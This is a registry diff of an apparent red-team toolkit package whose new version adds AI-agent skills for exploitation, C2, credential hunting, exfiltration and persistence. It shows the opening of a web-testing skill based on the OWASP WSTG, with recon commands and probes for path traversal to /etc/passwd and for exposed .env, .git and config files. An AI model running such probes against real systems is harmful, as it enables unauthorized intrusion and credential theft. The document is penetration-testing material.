rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1902 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-web
|
|
3
|
+
description: "Full OWASP Web Security Testing Guide (WSTG) workflow. 12 testing categories: information gathering, config management, identity, authentication, authorization, session management, input validation, error handling, cryptography, business logic, client-side, API testing. Use as the master web testing skill that routes to specific exploitation skills."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-web — Master Web Application Security Testing Skill
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
This skill implements the full OWASP Web Security Testing Guide (WSTG v4.2) methodology for web application penetration testing. It serves as the **master routing skill** that orchestrates all web testing activities across 12 testing categories, delegating to specialized `rt-exploit-*` sub-skills when deeper exploitation is required.
|
|
11
|
+
|
|
12
|
+
### Scope
|
|
13
|
+
|
|
14
|
+
- **Target types**: Web applications, REST APIs, GraphQL endpoints, SPAs, server-side rendered apps, hybrid mobile backends
|
|
15
|
+
- **Standard**: OWASP WSTG v4.2 (https://owasp.org/www-project-web-security-testing-guide/)
|
|
16
|
+
- **Output**: RTExit-compatible finding records, per-category checklists, severity-rated vulnerabilities
|
|
17
|
+
- **Routing**: Routes to `rt-exploit-sqli`, `rt-exploit-xss`, `rt-exploit-ssrf`, `rt-exploit-auth`, `rt-exploit-xxe`, `rt-exploit-idor`, and others
|
|
18
|
+
|
|
19
|
+
### 12 WSTG Testing Categories
|
|
20
|
+
|
|
21
|
+
| # | Category | WSTG ID | Routed Skill |
|
|
22
|
+
|---|----------|---------|--------------|
|
|
23
|
+
| 1 | Information Gathering | WSTG-INFO | (inline) |
|
|
24
|
+
| 2 | Configuration & Deployment Management | WSTG-CONF | (inline) |
|
|
25
|
+
| 3 | Identity Management | WSTG-IDNT | (inline) |
|
|
26
|
+
| 4 | Authentication | WSTG-ATHN | rt-exploit-auth |
|
|
27
|
+
| 5 | Authorization | WSTG-ATHZ | rt-exploit-idor |
|
|
28
|
+
| 6 | Session Management | WSTG-SESS | (inline) |
|
|
29
|
+
| 7 | Input Validation | WSTG-INPV | rt-exploit-sqli, rt-exploit-xss, rt-exploit-xxe |
|
|
30
|
+
| 8 | Error Handling | WSTG-ERRH | (inline) |
|
|
31
|
+
| 9 | Cryptography | WSTG-CRYP | (inline) |
|
|
32
|
+
| 10 | Business Logic | WSTG-BUSL | (inline) |
|
|
33
|
+
| 11 | Client-Side | WSTG-CLNT | rt-exploit-xss |
|
|
34
|
+
| 12 | API Testing | WSTG-APIT | rt-exploit-api |
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## Skill Levels
|
|
39
|
+
|
|
40
|
+
### BEGINNER
|
|
41
|
+
|
|
42
|
+
> Focus: Passive recon, automated scanning, basic manual checks. Use guided commands exactly as written.
|
|
43
|
+
|
|
44
|
+
Prerequisites:
|
|
45
|
+
- Burp Suite Community installed and proxy configured
|
|
46
|
+
- `nmap`, `curl`, `wget` available
|
|
47
|
+
- Python 3 with `requests` library
|
|
48
|
+
- `nikto` installed (`sudo apt install nikto`)
|
|
49
|
+
- Written authorization / scope document confirmed
|
|
50
|
+
|
|
51
|
+
### INTERMEDIATE
|
|
52
|
+
|
|
53
|
+
> Focus: Manual exploitation of discovered issues, chaining vulnerabilities, custom payloads.
|
|
54
|
+
|
|
55
|
+
Prerequisites: All BEGINNER tools plus:
|
|
56
|
+
- Burp Suite Professional (Scanner, Intruder, Collaborator)
|
|
57
|
+
- `sqlmap`, `ffuf`, `gobuster` installed
|
|
58
|
+
- `nuclei` with community templates
|
|
59
|
+
- Basic Python scripting ability
|
|
60
|
+
|
|
61
|
+
### ADVANCED
|
|
62
|
+
|
|
63
|
+
> Focus: Zero-day research, logic flaw abuse, WAF bypass, complex chaining.
|
|
64
|
+
|
|
65
|
+
Prerequisites: All INTERMEDIATE tools plus:
|
|
66
|
+
- Custom Burp extensions (AuthMatrix, Param Miner, Turbo Intruder)
|
|
67
|
+
- `caido` or `mitmproxy` for scripted interception
|
|
68
|
+
- `semgrep` for source-assisted testing
|
|
69
|
+
- Understanding of JWT, OAuth2, SAML internals
|
|
70
|
+
|
|
71
|
+
### EXPERT
|
|
72
|
+
|
|
73
|
+
> Focus: Novel attack surface research, supply chain, race conditions, cryptographic flaws, full kill-chain simulation.
|
|
74
|
+
|
|
75
|
+
Prerequisites: All ADVANCED tools plus:
|
|
76
|
+
- Source code access (white-box) preferred
|
|
77
|
+
- Custom exploit development capability
|
|
78
|
+
- `frida` for runtime instrumentation (hybrid apps)
|
|
79
|
+
- `go-exploit` or custom tooling
|
|
80
|
+
- Threat intelligence context for target
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Step-by-Step Attack Workflow
|
|
85
|
+
|
|
86
|
+
### Phase 0: Pre-Engagement Setup
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
# Create engagement directory structure
|
|
90
|
+
export TARGET="https://target.example.com"
|
|
91
|
+
export ENG_ID="RT-2024-042"
|
|
92
|
+
export OUT_DIR="$HOME/engagements/$ENG_ID/web"
|
|
93
|
+
mkdir -p "$OUT_DIR"/{recon,scans,exploits,evidence,docs}
|
|
94
|
+
cd "$OUT_DIR"
|
|
95
|
+
|
|
96
|
+
# Record scope
|
|
97
|
+
cat > scope.txt << 'EOF'
|
|
98
|
+
# In-scope
|
|
99
|
+
*.target.example.com
|
|
100
|
+
10.10.10.0/24
|
|
101
|
+
# Out-of-scope
|
|
102
|
+
mail.target.example.com
|
|
103
|
+
EOF
|
|
104
|
+
|
|
105
|
+
# Set up logging (all curl output to file)
|
|
106
|
+
export CURL_OPTS="-sk --max-time 30 -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'"
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## Category 1: Information Gathering (WSTG-INFO)
|
|
112
|
+
|
|
113
|
+
### BEGINNER Steps
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
# WSTG-INFO-01: Conduct Search Engine Discovery
|
|
117
|
+
# Google dorks
|
|
118
|
+
# site:target.example.com filetype:pdf
|
|
119
|
+
# site:target.example.com ext:php OR ext:asp OR ext:aspx
|
|
120
|
+
# intitle:"index of" site:target.example.com
|
|
121
|
+
# "target.example.com" inurl:login OR inurl:admin OR inurl:portal
|
|
122
|
+
|
|
123
|
+
# Automate with theHarvester
|
|
124
|
+
theHarvester -d target.example.com -b google,bing,yahoo,dnsdumpster -f "$OUT_DIR/recon/theharvester.html"
|
|
125
|
+
|
|
126
|
+
# WSTG-INFO-02: Fingerprint Web Server
|
|
127
|
+
curl -sI "$TARGET" | tee "$OUT_DIR/recon/headers.txt"
|
|
128
|
+
curl -sk "$TARGET/nonexistent-page-404" -I | tee "$OUT_DIR/recon/404-response.txt"
|
|
129
|
+
|
|
130
|
+
# WSTG-INFO-03: Review Webserver Metafiles
|
|
131
|
+
curl -sk "$TARGET/robots.txt" | tee "$OUT_DIR/recon/robots.txt"
|
|
132
|
+
curl -sk "$TARGET/sitemap.xml" | tee "$OUT_DIR/recon/sitemap.xml"
|
|
133
|
+
curl -sk "$TARGET/.well-known/security.txt"
|
|
134
|
+
curl -sk "$TARGET/crossdomain.xml"
|
|
135
|
+
curl -sk "$TARGET/clientaccesspolicy.xml"
|
|
136
|
+
|
|
137
|
+
# WSTG-INFO-04: Enumerate Application Entry Points
|
|
138
|
+
# Use Burp Spider or browser crawl, then export
|
|
139
|
+
# Manual: note all forms, query params, API endpoints, file uploads
|
|
140
|
+
|
|
141
|
+
# WSTG-INFO-05: Identify Application Entry Points via JS
|
|
142
|
+
# Download all JS files and search for API endpoints
|
|
143
|
+
curl -sk "$TARGET" | grep -oP 'src="[^"]+"' | grep '\.js' | sed 's/src="//' | sed 's/"//'
|
|
144
|
+
|
|
145
|
+
# WSTG-INFO-06: Identify Application Frameworks
|
|
146
|
+
whatweb "$TARGET" -a 3 | tee "$OUT_DIR/recon/whatweb.txt"
|
|
147
|
+
wappalyzer-cli "$TARGET" 2>/dev/null || echo "Use browser Wappalyzer extension"
|
|
148
|
+
|
|
149
|
+
# WSTG-INFO-07: Map Application Architecture
|
|
150
|
+
# Check for load balancer inconsistencies
|
|
151
|
+
for i in {1..5}; do curl -sk -I "$TARGET" | grep -i "server\|x-powered-by\|x-asp"; done
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
### INTERMEDIATE Steps
|
|
155
|
+
|
|
156
|
+
```bash
|
|
157
|
+
# Passive DNS enumeration
|
|
158
|
+
amass enum -passive -d target.example.com -o "$OUT_DIR/recon/amass-passive.txt"
|
|
159
|
+
subfinder -d target.example.com -o "$OUT_DIR/recon/subfinder.txt"
|
|
160
|
+
|
|
161
|
+
# Active DNS brute force
|
|
162
|
+
amass enum -active -brute -d target.example.com \
|
|
163
|
+
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \
|
|
164
|
+
-o "$OUT_DIR/recon/amass-active.txt"
|
|
165
|
+
|
|
166
|
+
# Certificate transparency
|
|
167
|
+
curl -s "https://crt.sh/?q=%25.target.example.com&output=json" | \
|
|
168
|
+
python3 -c "import sys,json; [print(e['name_value']) for e in json.load(sys.stdin)]" | \
|
|
169
|
+
sort -u | tee "$OUT_DIR/recon/crtsh.txt"
|
|
170
|
+
|
|
171
|
+
# JS endpoint extraction (advanced)
|
|
172
|
+
# Install: pip3 install jsbeautifier
|
|
173
|
+
python3 - << 'EOF'
|
|
174
|
+
import re, requests, jsbeautifier
|
|
175
|
+
target = "https://target.example.com"
|
|
176
|
+
r = requests.get(target, verify=False)
|
|
177
|
+
js_urls = re.findall(r'src=["\']([^"\']+\.js[^"\']*)["\']', r.text)
|
|
178
|
+
endpoints = []
|
|
179
|
+
for js in js_urls:
|
|
180
|
+
if not js.startswith('http'):
|
|
181
|
+
js = target.rstrip('/') + '/' + js.lstrip('/')
|
|
182
|
+
try:
|
|
183
|
+
code = requests.get(js, verify=False).text
|
|
184
|
+
beautiful = jsbeautifier.beautify(code)
|
|
185
|
+
found = re.findall(r'["\'](/api/[^"\']+|/v\d/[^"\']+)["\']', beautiful)
|
|
186
|
+
endpoints.extend(found)
|
|
187
|
+
except:
|
|
188
|
+
pass
|
|
189
|
+
print('\n'.join(set(endpoints)))
|
|
190
|
+
EOF
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
### ADVANCED Steps
|
|
194
|
+
|
|
195
|
+
```bash
|
|
196
|
+
# Historical URL analysis via Wayback Machine
|
|
197
|
+
waybackurls target.example.com | tee "$OUT_DIR/recon/wayback.txt"
|
|
198
|
+
# Filter for interesting params
|
|
199
|
+
cat "$OUT_DIR/recon/wayback.txt" | grep -E '\?.*=' | qsreplace FUZZ | sort -u
|
|
200
|
+
|
|
201
|
+
# GAU (GetAllURLs) combining multiple sources
|
|
202
|
+
gau --subs target.example.com | tee "$OUT_DIR/recon/gau.txt"
|
|
203
|
+
|
|
204
|
+
# ASN and IP range mapping
|
|
205
|
+
# Find ASN
|
|
206
|
+
curl -s "https://api.bgpview.io/search?query_term=target%20company%20name" | python3 -m json.tool
|
|
207
|
+
# Get IP ranges
|
|
208
|
+
whois -h whois.radb.net -- '-i origin AS12345' | grep ^route
|
|
209
|
+
|
|
210
|
+
# Virtual host enumeration
|
|
211
|
+
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
|
|
212
|
+
-u "$TARGET" -H "Host: FUZZ.target.example.com" \
|
|
213
|
+
-fs 0 -mc all -o "$OUT_DIR/recon/vhosts.json"
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## Category 2: Configuration & Deployment Management (WSTG-CONF)
|
|
219
|
+
|
|
220
|
+
### BEGINNER Steps
|
|
221
|
+
|
|
222
|
+
```bash
|
|
223
|
+
# WSTG-CONF-01: Test Network/Infrastructure Configuration
|
|
224
|
+
nmap -sV -sC -p 80,443,8080,8443,8888,3000,4000,5000 target.example.com \
|
|
225
|
+
-oA "$OUT_DIR/scans/nmap-web"
|
|
226
|
+
|
|
227
|
+
# WSTG-CONF-02: Test Application Platform Configuration
|
|
228
|
+
# Check for default error pages exposing stack traces
|
|
229
|
+
curl -sk "$TARGET/index.php?id=1'"
|
|
230
|
+
curl -sk "$TARGET/?page=../../../../etc/passwd"
|
|
231
|
+
curl -sk "$TARGET/web.config"
|
|
232
|
+
curl -sk "$TARGET/.git/HEAD"
|
|
233
|
+
curl -sk "$TARGET/.env"
|
|
234
|
+
curl -sk "$TARGET/config.php"
|
|
235
|
+
curl -sk "$TARGET/wp-config.php"
|
|
236
|
+
curl -sk "$TARGET/applicationHost.config"
|
|
237
|
+
|
|
238
|
+
# WSTG-CONF-03: Test File Extension Handling
|
|
239
|
+
